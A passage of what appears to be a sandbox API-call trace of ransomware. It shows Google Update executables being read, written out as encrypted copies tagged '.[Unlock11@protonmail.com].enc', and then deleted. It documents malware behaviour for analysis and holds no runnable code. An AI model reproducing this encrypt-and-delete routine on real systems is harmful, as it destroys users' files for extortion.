ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850)) returned 1 [0219.775] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672c64 | out: pbBuffer=0x3672c64) returned 1 [0219.775] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.775] GetFileType (hFile=0x334) returned 0x1 [0219.776] GetFileType (hFile=0x334) returned 0x1 [0219.776] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.777] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.777] GetFileType (hFile=0x39c) returned 0x1 [0219.777] GetFileType (hFile=0x39c) returned 0x1 [0219.777] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.777] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.778] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.778] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.819] CloseHandle (hObject=0x39c) returned 1 [0219.819] CloseHandle (hObject=0x334) returned 1 [0219.819] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe")) returned 1 [0219.823] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x9bada4*="GoogleCrashHandler64.exe") returned 0x47 [0219.824] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850)) returned 1 [0219.824] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0219.824] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.825] GetFileType (hFile=0x334) returned 0x1 [0219.825] GetFileType (hFile=0x334) returned 0x1 [0219.825] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.826] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.826] GetFileType (hFile=0x39c) returned 0x1 [0219.826] GetFileType (hFile=0x39c) returned 0x1 [0219.826] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.826] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.826] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.827] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.827] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.827] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.827] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.839] CloseHandle (hObject=0x39c) returned 1 [0219.839] CloseHandle (hObject=0x334) returned 1 [0219.839] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe")) returned 1 [0219.843] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x9bada4*="GoogleUpdate.exe") returned 0x3f [0219.843] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650)) returned 1 [0219.844] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719e4 | out: pbBuffer=0x36719e4) returned 1 [0219.844] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.844] GetFileType (hFile=0x334) returned 0x1 [0219.844] GetFileType (hFile=0x334) returned 0x1 [0219.844] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.845] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.845] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.845] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.846] GetFileType (hFile=0x39c) returned 0x1 [0219.846] GetFileType (hFile=0x39c) returned 0x1 [0219.846] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.846] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.846] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.879] CloseHandle (hObject=0x39c) returned 1 [0219.879] CloseHandle (hObject=0x334) returned 1 [0219.879] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe")) returned 1 [0219.881] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x9bada4*="GoogleUpdateBroker.exe") returned 0x45 [0219.881] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0219.882] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c14 | out: pbBuffer=0x3671c14) returned 1 [0219.882] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.882] GetFileType (hFile=0x334) returned 0x1 [0219.882] GetFileType (hFile=0x334) returned 0x1 [0219.882] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.883] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.883] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.883] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.883] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.883] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.883] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.883] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.884] GetFileType (hFile=0x39c) returned 0x1 [0219.884] GetFileType (hFile=0x39c) returned 0x1 [0219.884] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.889] CloseHandle (hObject=0x39c) returned 1 [0219.889] CloseHandle (hObject=0x334) returned 1 [0219.889] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe")) returned 1 [0219.891] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x9bada4*="GoogleUpdateComRegisterShell64.exe") returned 0x51 [0219.891] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650)) returned 1 [0219.891] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0219.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0219.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0219.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0219.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0219.945] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.946] GetFileType (hFile=0x334) returned 0x1 [0219.946] GetFileType (hFile=0x334) returned 0x1 [0219.946] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.946] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.947] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.948] GetFileType (hFile=0x39c) returned 0x1 [0219.948] GetFileType (hFile=0x39c) returned 0x1 [0219.948] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.948] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.948] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.948] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.948] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.956] CloseHandle (hObject=0x39c) returned 1 [0219.956] CloseHandle (hObject=0x334) returned 1 [0219.956] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe")) returned 1 [0219.958] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x9bada4*="GoogleUpdateCore.exe") returned 0x43 [0219.959] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50)) returned 1 [0219.959] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36716c4 | out: pbBuffer=0x36716c4) returned 1 [0219.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0219.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0219.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0219.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0219.959] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.960] GetFileType (hFile=0x334) returned 0x1 [0219.960] GetFileType (hFile=0x334) returned 0x1 [0219.960] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.961] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.961] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.965] GetFileType (hFile=0x39c) returned 0x1 [0219.965] GetFileType (hFile=0x39c) returned 0x1 [0219.965] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.966] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.966] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.966] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.966] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.966] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.966] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0220.012] CloseHandle (hObject=0x39c) returned 1 [0220.013] CloseHandle (hObject=0x334) returned 1 [0220.013] DeleteFileA (lpFileName="C:\\Program Files 